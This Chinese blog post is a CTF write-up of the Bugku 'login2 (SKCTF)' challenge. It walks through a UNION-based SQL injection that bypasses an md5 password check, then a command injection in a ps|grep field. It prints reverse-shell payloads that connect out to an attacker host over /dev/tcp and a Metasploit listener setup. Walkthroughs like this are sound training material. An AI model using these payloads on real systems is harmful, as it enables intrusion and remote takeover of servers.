美文网首页网络安全
Bugku CTF login2(SKCTF)

Bugku CTF login2(SKCTF)

作者: Visianlee | 来源:发表于2019-06-11 21:17 被阅读5次

抓包获得源码

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是需要用引号引起来的,不然会出错,这个能理解吧?这个时候最外面的双引号是具有解析变量的作用,而里面的单引号是给数据库语句用的,如果里面再用双引号就会跟最外面的双引号起冲突了,故用单引号。
而我其中的两个变量username和password之所以用点号连接左右,是因为如果变量在单引号里面可能会不被解析出来,而被当成 一个字符串。

这里可以看到它是分离式的验证,首先查询username的用户,然后拿出password再进行比较,一开始想着是注入出admin的密码,但发现可能没有这个用户,而且也找不到注入的poc。后来参考网上的writeup才知道正确的打开方式。

username=' union select 1,md5(1)#&password=1

执行这条语句时由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(1)则会返回两个MD5(1)的值,然后password我们也置为1,从而绕过if语句的判断。

还原语句为:

SELECT username,password FROM admin WHERE username='a' union select 1,md5(1)-- -&password=1'

此时我们可以 username='', 两个 sql 语句进行联合操作时,当前一个语句选择的内容为空, 我们这里就将后面的语句的内容显示出来

演示一下原理:


image.png

所以本题中的SELECT username,password FROM admin WHERE username='a' union select 1,md5(1)-- 将会返回

username password
1 md5(1)

这样就能使if判断为真
if (!empty($row) && $row['password']===md5($password))

进入下一个页面,可以进行命令执行


image.png

然后注意到了倒数第二行:sh -c ps -anx | grep 123,用grep命令对输入的内容从 sh -c ps -anx 的执行结果里面进行查找并输出。
然后就测试下过滤了什么字符:| & || && ; %0a 测试时候问题来了——除了自带的进程回显之外其他都不会回显,于是导致能不能执行命令都无法判断。
既然无法根据回显判断命令是否执行,那还可通过linux下的sleep命令测试是否执行:c=123 ; sleep 5,产生了延时,说明命令执行了。
然后测试下它是否能连接外网:c=123 ; ping www.baidu.com,浏览器一直转圈圈的话就是ping执行了,能连外网。
然后就好弄了,有个公网ip再用个反弹shell的姿势:bash -i >& /dev/tcp/ip/port 0>&1 就能getshell了。

payload:
c=123 ; bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1`

vps的msf监听:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 6666
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后顺利getshell:


image.png

顺利getflag:

最后不忘去看下出题师傅怎么控制回显的:

<?php
if(isset($_POST['c'])){
        $cmd = $_POST['c'];
        exec('ps -aux | grep '.$cmd, $result);
        foreach($result as $k){
                if(strpos($k, $cmd)){
                        echo $k.'<br>';
                }
        }
}
?>

另一种姿势


image.png
nc -lvv 8888
|bash -i >& dev/tcp/123.206.86.106/8888 0>&1
/bin/bash -i > /dev/tcp/attackerip/80800<&12>&1
image.png
image.png

测试失败

参考:
https://delcoding.github.io/2018/03/bugku-writeup4/
https://www.cnblogs.com/blili/p/9045280.html
https://www.bugku.com/thread-80-1-1.html
https://blog.csdn.net/zazazrt/article/details/87655154
https://www.jianshu.com/p/6750db0943b7
https://xz.aliyun.com/t/2549

相关文章

  • Bugku CTF login2(SKCTF)

    抓包获得源码 代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是...

  • RSA从原理到ctf解题(解题篇Ⅰ)

    bugku rsa 一道关于rsa常规的ctf题目(来自bugku):链接:https://ctf.bugku.c...

  • 2019-03-31

    Bugku-代码审计 https://ctf.bugku.com/challenges 1、extract变量覆盖...

  • Bugku-CTF题解WEB部分

    去训练一下基础! Bugku地址:https://ctf.bugku.com/challenges 0x01 we...

  • bugku前女友(SKCTF)

    emmmm,打开题目是这样子的,天啦,连做题目都要提到分手这个伤感的主题,好了认真做题。 打开源码发现链接是转到另...

  • bugku总结

    身为在安全里摸着石头过河的菜鸟,做了这么多bugku的题,是时候来一次总结了。 login1(SKCTF) (sq...

  • bugku login1(SKCTF)

    打开之后我先注册了一个账号尝试,然后跳出来不是管理员还想知道flag,因此账号一定要是管理员啊,我注册一个admi...

  • bugku login3(SKCTF)

    进入网页,进行登陆尝试,发现用户名是admin,但是不清楚密码,因此应该是通过用户名来进行注入。并且发现and是被...

  • Bugku CTF记录

    前言: 此文用于记录做BugkuCTF时遇到的知识,主要为了巩固和查阅。 记录各种知识 1.stripos(字符串...

  • python 进行进制转换的脚本编写

    python 在ctf进制转换的应用 4进制转换(题目来源bugku)进制字符串如下:1212 1230 1201...

网友评论

    本文标题:Bugku CTF login2(SKCTF)

    本文链接:https://www.haomeiwen.com/subject/vvscfctx.html